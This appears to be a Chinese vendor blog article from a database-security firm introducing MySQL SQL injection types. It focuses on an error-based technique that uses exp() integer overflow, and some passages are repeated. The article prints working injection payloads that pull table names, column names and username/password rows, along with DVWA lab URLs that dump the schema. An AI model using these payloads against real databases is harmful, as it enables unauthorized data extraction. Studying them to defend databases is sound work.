數(shù)據(jù)安全治理關鍵技術之數(shù)據(jù)庫脫敏技術詳解
數(shù)據(jù)安全治理之API監(jiān)測系統(tǒng) ,解決API接口安全問題【安華金和】
新一代數(shù)據(jù)庫脫敏技術,為敏感數(shù)據(jù)建立保護盾!
數(shù)據(jù)庫脫敏系統(tǒng)與金融行業(yè)案例解讀
數(shù)據(jù)安全治理建設思路的著力點——數(shù)據(jù)安全咨詢服務【安華金和】
數(shù)據(jù)庫防火墻功能有哪些?-數(shù)據(jù)安全-安華金和
數(shù)據(jù)安全關鍵技術之數(shù)據(jù)庫脫敏技術詳解【安華金和】
中國數(shù)據(jù)安全治理落地指導書籍《數(shù)據(jù)安全治理白皮書5.0》正式發(fā)布(附下載)
Mysql數(shù)據(jù)庫在國內的市場占有量僅次于Oracle,排名第二。正因如此廣泛的使用,Mysql數(shù)據(jù)庫被曝出的安全漏洞數(shù)量同樣較高。安華金和2016年數(shù)據(jù)庫漏洞報告中指出,從可統(tǒng)計的數(shù)據(jù)庫安全漏洞分布情況來看,Mysql的漏洞數(shù)量開始超越Oracle,成為漏洞數(shù)量最多的數(shù)據(jù)庫類型,這表示由于使用人數(shù)增多,被發(fā)現(xiàn)的漏洞數(shù)量也隨之提高,而數(shù)據(jù)庫安全漏洞的存在,也成為黑客們SQL注入最佳途徑。本文將對Mysql中的SQL注入手段進行簡單介紹。
Mysql的SQL注入從技術角度主要可以分為7類技術手段:
1.常用mysql注入(SELECT)
2.常用mysql注入(insert、update)
3.mysql 報錯注入
4.mysql常規(guī)盲注
5.mysql時間盲注
6.mysql數(shù)據(jù)庫版本特征注入
7.mysql其他注入技巧
Osanda Malith Jayathissa 發(fā)現(xiàn)的這個漏洞屬于報錯注入的一種,作者通過構筑整數(shù)溢出來導致出現(xiàn)報錯信息。利用select ~0來獲取最大整數(shù)值,然后select ~0 +1 就可以達到溢出的目的。這說明只要用函數(shù)構筑0和1就可以達到讓目標函數(shù)緩沖區(qū)溢出的目的。
0的邏輯非就是1,任何一個查詢成功的返回值都是0所以我們可以利用這種方式來執(zhí)行我們希望執(zhí)行的操作。
注意看上圖中的報錯信息。在報錯信息中可以獲取到我們希望執(zhí)行的select user();的結果,但同時我們也發(fā)現(xiàn)存在一個限制,就是報錯信息只能返回極少的行數(shù),這一點可以通過limit x,y函數(shù)來解決。
作者同時給出了下面這些獲取表名、列名、數(shù)據(jù)方法的例子。
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
注意看上圖中的報錯信息。在報錯信息中可以獲取到我們希望執(zhí)行的select user();的結果,但同時我們也發(fā)現(xiàn)存在一個限制,就是報錯信息只能返回極少的行數(shù),這一點可以通過limit x,y函數(shù)來解決。
作者同時給出了下面這些獲取表名、列名、數(shù)據(jù)方法的例子。
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
下面這個查詢可以從當前的上下文中dump出所有的tables與columns,我們也可以dump出所有的數(shù)據(jù)庫。
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
在了解了初步的SQL注入技術手段后,我們將在后文中進一步介紹,如何利用Mysql中的安全漏洞進行SQL注入,以及如何使用適當?shù)?a href="http://m.wallpapic-fi.com/" target="_blank" title="數(shù)據(jù)庫安全">數(shù)據(jù)庫安全技術防護此類攻擊。